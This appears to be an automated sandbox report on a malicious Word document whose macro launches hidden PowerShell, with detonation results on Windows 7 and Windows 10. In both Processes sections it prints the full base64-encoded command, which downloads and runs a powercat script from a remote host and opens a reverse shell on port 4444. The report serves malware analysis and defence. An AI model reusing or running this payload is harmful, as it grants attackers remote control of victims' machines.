Malware Analysis Report

2025-01-22 19:08

Sample ID 240722-1vmdfs1cjj
Target a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513
SHA256 a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513
Tags
macro macro_on_action execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513

Threat Level: Known bad

The file a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action execution

Process spawned unexpected child process

Command and Scripting Interpreter: PowerShell

Office macro that triggers on suspicious action

Suspicious Office macro

Drops file in Windows directory

Office loads VBA resources, possible macro or embedded object present

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-22 21:58

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-22 21:58

Reported

2024-07-22 21:59

Platform

win7-20240708-en

Max time kernel

54s

Max time network

17s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA

Network

Country Destination Domain Proto
N/A 192.168.45.218:80 tcp

Files

memory/1984-0-0x000000002F2C1000-0x000000002F2C2000-memory.dmp

memory/1984-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1984-2-0x000000007181D000-0x0000000071828000-memory.dmp

memory/1984-4-0x0000000000310000-0x0000000000410000-memory.dmp

memory/1984-14-0x0000000000310000-0x0000000000410000-memory.dmp

memory/1984-10-0x0000000000310000-0x0000000000410000-memory.dmp

memory/1984-7-0x0000000000310000-0x0000000000410000-memory.dmp

memory/1984-6-0x0000000000310000-0x0000000000410000-memory.dmp

memory/1984-5-0x0000000000310000-0x0000000000410000-memory.dmp

memory/1984-18-0x000000007181D000-0x0000000071828000-memory.dmp

memory/1984-19-0x0000000000310000-0x0000000000410000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-22 21:58

Reported

2024-07-22 21:59

Platform

win10v2004-20240709-en

Max time kernel

46s

Max time network

37s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
GB 52.109.32.7:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 7.32.109.52.in-addr.arpa udp
N/A 192.168.45.218:80 tcp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 93.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 2.17.209.140:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
GB 95.101.28.35:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 140.209.17.2.in-addr.arpa udp
US 8.8.8.8:53 35.28.101.95.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp

Files

memory/2400-3-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

memory/2400-5-0x00007FFF648AD000-0x00007FFF648AE000-memory.dmp

memory/2400-4-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

memory/2400-2-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

memory/2400-1-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

memory/2400-0-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

memory/2400-9-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-7-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-6-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-8-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-10-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-12-0x00007FFF22830000-0x00007FFF22840000-memory.dmp

memory/2400-11-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-13-0x00007FFF22830000-0x00007FFF22840000-memory.dmp

memory/2400-14-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-23-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-24-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kazybfeu.bgb.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4128-36-0x00000181C7580000-0x00000181C75A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 d50fd3bee69892555c145f7c032c8624
SHA1 549ee2734c7411b0df79faf3a45beb292a4baeda
SHA256 72a1239b378fd0e6f24d5acd9e82f3f8dd4d0f0864dea00af8ce4a6715f68002
SHA512 91da9b06893a07ffc97d94d30b6df7d094525b5a8e95a719b93bee343e1399a83013f7adf78864567ff4fd76e974fe64516d7bac188237785dbe2bf5b8c5fc82

C:\Users\Admin\AppData\Local\Temp\TCDDD0D.tmp\gb.xsl

MD5 51d32ee5bc7ab811041f799652d26e04
SHA1 412193006aa3ef19e0a57e16acf86b830993024a
SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA512 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

memory/2400-200-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

memory/2400-203-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp